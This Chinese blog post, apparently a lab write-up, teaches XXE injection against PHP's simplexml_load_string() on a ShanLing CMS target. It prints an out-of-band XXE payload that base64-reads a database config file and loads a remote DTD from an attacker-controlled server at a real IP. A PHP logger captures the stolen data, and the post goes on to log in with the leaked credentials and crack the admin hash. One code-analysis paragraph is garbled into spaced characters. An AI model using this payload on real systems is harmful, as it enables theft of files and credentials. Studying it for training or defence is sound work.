XXE实体注入(超详细!)

XXE实体注入(超详细!)可以把它理解为txt,就是存储文件的,读取并调用出来,这是最核心的将你的代码当成XXE代码,然后XXE再交给PHP去执行将1.txt的东西,放入test这个变量实体就是变量&test就是输出这个变量<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行最主要的是访问的地址,file,http等协议都可以。XXE:XML外部实体注入,原理:.

大家好,又见面了,我是你们的朋友全栈君。

在这里插入图片描述

可以把它理解为txt,就是存储文件的,

读取并调用出来,这是最核心的

在这里插入图片描述
在这里插入图片描述

将你的代码当成XXE代码,然后XXE再交给PHP去执行

将1.txt的东西,放入test这个变量
实体就是变量
&test就是输出这个变量
<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行

最主要的是访问的地址,file,http等协议都可以。

XXE:XML外部实体注入,原理:有了XML实体,关键字SYSTEM会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。XML是被设计用来存储以及传输信息,本身不会做任何事情。真正读取的是PHP有一个处理XML的函数:simplexml_load_string()。
程序分析:SYSTEM关键字通过file协议读取c:/1.txt里面的内容赋值给test实体,&test引用实体赋值给了$test变量,这里所做的是构造xml代码,将xml代码传参给了simplexml_load_string()函数执行,真正的读取是在这个函数执行的,最后print_r输出。
没有simplexml_load_string()函数,是读取不出来的
在这里插入图片描述
在这里插入图片描述

有的时候,XXE并不是都会给显示出来,就像sql里的盲注,不会给你直接显示出来。

在这里插入图片描述

演示

前面这个file_put_contents是php的一个写入函数,
只要我们去访问x.php并向id里传参东西,那么传参的东西就会被记录到147.txt里面。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
同理,我们把这个代码翻入XEE里面也是同样的效果,但是看起来要简单一点。
结合前面x.php里面的写入代码和x.php的传参+现在的XEE文件,我们就可以很简单的实现注入!

在这里插入图片描述
在这里插入图片描述
这里之所以有3个147,是我访问了3次。

在这里插入图片描述
简单来说就是只要有人访问了这个PHP文件,那么传参的数据就会被记录下来
在这里插入图片描述

XXE和ssrf很像,XXE需要依托于xml文件,而ssrf不需要依托xml文件。

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数据传入xml
在这里插入图片描述
POST传参,然后输出
在这里插入图片描述

靶场练习

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
程序分析:SYSTEM关键字令XML解析器读取了C:/phpStudy/scms/conn/conn.php里面的内容并进行base64编码赋值给了实体file,同时去访问了炮台上的1.xml,在1.xml会将实体file里面的值当成$_GET获得的id传参,去访问了2.php,在2.php里面将id传参的值记录下来,写进了3.txt文档里。

靶场演示:靶场是一个闪灵cms,里面有个weixin/index.php文件

在这里插入图片描述

http://59.63.200.79:8207/weixin/

?signature=fdasfas

在这里插入图片描述

查找simplexml_load_string()函数
程序分析:$postArr = file_get_contents(“php://input”); 将获取post的传参,赋值给变量
p o s t A r r , 再 传 参 给 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 往 上 看 , 发 现 要 执 行 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 是 有 条 件 的 , postArr,再传参给simplexml_load_string()函数,往上看,发现要执行simplexml_load_string()函数,是有条件的, postArr,simplexmlloadstring()simplexmlloadstring()signature != “” 变量值不为空;且$signature = R E Q U E S T [ “ s i g n a t u r e ” ] ; 这 个 变 量 值 来 自 于 _REQUEST[“signature”]; 这个变量值来自于 REQUEST[signature];_REQUEST获得的参数。
攻击思路:将我们构造好的xml代码,通过post传参,传递给变量$postArr
攻击代码,读取conn.php里数据库配置文件:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

在这里插入图片描述

访问炮台上的http://59.63.200.79:8017/3.txt,获得数据,

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
在这里插入图片描述
进行base64解码,获得数据库的账号,密码,库名
$conn = mysqli_connect(“192.168.0.10”,“xxe”, “teiwo!8#7ERe1DPC”, “scms”);
在这里插入图片描述
访问http://59.63.200.79:8207/adminer.php ,输入账号,密码,库名进行登录,登录成功
在这里插入图片描述

然后得到密码

在这里插入图片描述
将账号admin的 密码MD5解密得admintestv1

在这里插入图片描述

访问后台管理:http://59.63.200.79:8207/admin/#/app/index
提交flag: admintestv1
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/142528.html原文链接:https://javaforall.net

(1)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • matlab画cdf曲线_条形图和直方图的联系

    matlab画cdf曲线_条形图和直方图的联系matlab直方图(柱状图)

    2022年8月31日
    0
  • 35岁以上的IT人士如果有一天被公司裁员了,该怎么办?

    35岁以上的IT人士如果有一天被公司裁员了,该怎么办?我觉得裁员和年龄无关,和本人的技能,工作态度,处事规则有关系。大家都知道华为裁员比例厉害,特别是对35岁以上的,会感到中年危机。但是我几个在华为的同学,都到了40岁了工作依然好好的,也没有见谁被裁掉。如果在工作中保持积极的态度,做事主动,平常多学习,和同事,领导的关系都不错,那么也不会被裁掉。作为已经到而立之年的中年人,给大家一点建议吧。在工作和生活中时刻保持乐观的心态,做事积极主动,多想多思考,与同事和领导友好相处,尽量让自己成为不可替代的人。那么你就不会被裁掉,也不会有中年危机。…

    2022年7月18日
    46
  • java 添加 psd_psd缩略图生成上传解决方案「建议收藏」

    java 添加 psd_psd缩略图生成上传解决方案「建议收藏」第一点:Java代码实现文件上传FormFilefile=manform.getFile();StringnewfileName=null;Stringnewpathname=null;StringfileAddre=”/numUp”;try{InputStreamstream=file.getInputStream();//把文件读入StringfilePath=r…

    2022年6月11日
    48
  • 北京上网首选DNS服务器地址,北京最快的DNS服务器地址,北京DNS大全

    北京上网首选DNS服务器地址,北京最快的DNS服务器地址,北京DNS大全为了提高北京上网用户打开网页的速度,北京上网用户要选择适合北京网络的DNS,很多时候北京上网用户在家或者在办公室上网,经常发现能够上网,但很多的网站和网址打不开,报解析错误,这种情况往往是属于您的DNS使用不当,有时选北京电信联通推荐的DNS也会出现这种情况,具体选那个,之前最好去ping一下,看哪个延迟小一般情况下还是要选择北京电信联通移动的DNS。下面给您推荐在北京常用的DNS。北

    2022年6月4日
    92
  • 红模仿在说谁(评价红模仿)

    各位读者,知识无穷而人力有穷,所以,要么改需求,要么找专业人士,要么自己研究。大家可以点赞、收藏、关注、评论我啦、需要完整文件随时联系我或交流哟~!

    2022年4月12日
    50
  • pytorch loss反向传播出错

    pytorch loss反向传播出错在使用pytorch进行训练代码时,在运行loss.backward()误差反向传播时出错:RuntimeError:gradcanbeimplicitlycreatedonlyforscalaroutputsFile”train.py”,line143,intrainloss.backward()File”/usr/local/lib/python3.6/dist-packages/torch/tensor.py”,line198…

    2022年5月20日
    34

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号